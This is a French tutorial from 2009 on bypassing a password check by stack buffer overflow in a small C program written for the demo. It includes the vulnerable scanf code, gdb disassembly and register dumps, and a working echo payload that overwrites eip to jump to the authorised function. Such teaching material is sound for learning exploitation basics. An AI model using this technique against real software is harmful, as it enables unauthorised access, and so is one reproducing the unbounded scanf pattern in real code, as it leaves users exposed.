Shell-Storm.org

# Outrepasser l'authentification par buffer overflow

Jonathan Salwan #
submit [AT] shell-storm.org #
http://www.shell-storm.org #

28/04/2009 #

Dans ce tutoriel nous allons démontrer comment outrepasser l'authentification d'un programme par buffer overflow.

Tout d'abord prenons comme exemple le code source suivant:

```
#include "stdio.h"
#include "stdlib.h"

void gestion()
        {
        fprintf(stdout,"Bravo vous êtes dans la partie autorisé\n");
        exit(0);
        }

int main(int argc, char *argv[])
{
        char pwd[10];
        printf("Password: ");
        scanf("%s", &pwd);

                if(!strcmp(pwd, "toto"))
                        { gestion(); }
                        else{
                        fprintf(stderr,"Password invalide!\n"); }
return 0;
}
```

Ensuite nous constatons que l'instruction vulnérable est scanf() car elle attend une entrée clavier (stdin) puis la stocke dans la variable pwd qui est un tableau de 10 octets soit 10 caractères.

Donc, si 14 octets sont stockés, notre registre ebp sera écrasé. Si 18 octets sont stockés c'est le registre eip (celui qui nous intéresse) qui sera écrasé.

**Comment faire pour sauter dans dans la fonction gestion sans le password ?**

Pour sauter sur la fonction gestion, il nous faut son adresse, pour trouver cette adresse utilisons gdb.

On commence par faire un disass sur le main pour voir comment il est constitué

```
(gdb) disass main
Dump of assembler code for function main:
0x0804851b <main+0>:    push   %ebp
0x0804851c <main+1>:    mov    %esp,%ebp
0x0804851e <main+3>:    sub    $0x1c,%esp
0x08048521 <main+6>:    movl   $0x804867b,(%esp)
0x08048528 <main+13>:   call   0x80483f0 <printf@plt>
0x0804852d <main+18>:   lea    -0xa(%ebp),%eax
0x08048530 <main+21>:   mov    %eax,0x4(%esp)
0x08048534 <main+25>:   movl   $0x8048686,(%esp)
0x0804853b <main+32>:   call   0x80483e0 <scanf@plt>
0x08048540 <main+37>:   movl   $0x8048689,0x4(%esp)
0x08048548 <main+45>:   lea    -0xa(%ebp),%eax
0x0804854b <main+48>:   mov    %eax,(%esp)
0x0804854e <main+51>:   call   0x8048410 <strcmp@plt> <====Ici l'appel de la fonction strcmp
0x08048553 <main+56>:   test   %eax,%eax              <====Ici le test du password
0x08048555 <main+58>:   jne    0x804855e <main+67>    <====Si password faux on saute à l'adresse  0x804855e
0x08048557 <main+60>:   call   0x80484e4 <gestion>    <====Sinon on appelle la fonction gestion
                                                            à l'adresse 0x80484e4. Voilà l'adresse sur
                                                            laquelle on va devoir sauter.
0x0804855c <main+65>:   jmp    0x8048583 <main+104>
0x0804855e <main+67>:   mov    0x804a040,%eax
0x08048563 <main+72>:   mov    %eax,0xc(%esp)
0x08048567 <main+76>:   movl   $0x13,0x8(%esp)
0x0804856f <main+84>:   movl   $0x1,0x4(%esp)
0x08048577 <main+92>:   movl   $0x804868e,(%esp)
0x0804857e <main+99>:   call   0x8048400 <fwrite@plt>
0x08048583 <main+104>:mov    $0x0,%eax
0x08048588 <main+109>:leave
0x08048589 <main+110>:ret
End of assembler dump.
```

Testons toujours le programme avec gdb, mais pour commencer avec 14 caractères.

```
(gdb) r
Starting program: /home/submit/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaa
Password invalide!

Program received signal SIGSEGV, Segmentation fault.
0xb7eff606 in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r
eax            0x0      0
ecx            0x13     19
edx            0xb80440dc       -1207680804
ebx            0xb8042ff4       -1207685132
esp            0xbfa74f80       0xbfa74f80
ebp            0x61616161       0x61616161 <===Comme prévu avec 14 octets soit 4 de plus ebp a été écrasé
esi            0x80485a0        134514080
edi            0x8048430        134513712
eip            0xb7eff606       0xb7eff606 <__libc_start_main+102>
eflags         0x10202          [ IF RF ]
[...]
```

Recommençons mais cette fois avec 18 caractères.

```
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/submit/all/prog/c/buffer/gestion/main
Password: aaaaaaaaaaaaaaaaaa
Password invalide!

Program received signal SIGSEGV, Segmentation fault.
0x61616161 in ?? () <================== eip ne sait plus où pointer !
(gdb) i r
eax            0x0     0
ecx            0x13    19
edx            0xb80920dc      -1207361316
ebx            0xb8090ff4      -1207365644
esp            0xbf9c46d0      0xbf9c46d0
ebp            0x61616161      0x61616161 <===== ebp écrasé !
esi            0x80485a0       134514080
edi            0x8048430       134513712
eip            0x61616161      0x61616161 <===== eip écrasé comme prévu avec les 4 autres octets supplémentaires.
eflags         0x10246         [ PF ZF IF RF ]
cs             0x73    115
ss             0x7b    123
ds             0x7b    123
es             0x7b    123
fs             0x0     0
gs             0x33    51
```

Le but pour outrepasser cette sécurité via au buffer overflow est de profiter de l'écrasement de eip pour sauter où l'on veut dans la programme, ici nous allons sauter bien entendu dans la fonction gestion donc a l'adresse 0x80484e4
L'adresse 0x80484e4 sera écrite à l'envers vu que sur la pile on empile.

Exécutons notre programme en console:

```
submit@submit-laptop:~/$ echo -e "aaaaaaaaaaaaaa\xe4\x84\x04\x08" | ./main
Password invalide!
Password: Bravo vous êtes dans la partie autorisé
submit@submit-laptop:~/$
```

Bingo! Notre programme à bien profité de l'écrasement de eip pour sauter sur la fonction gestion et nous afficher son contenu.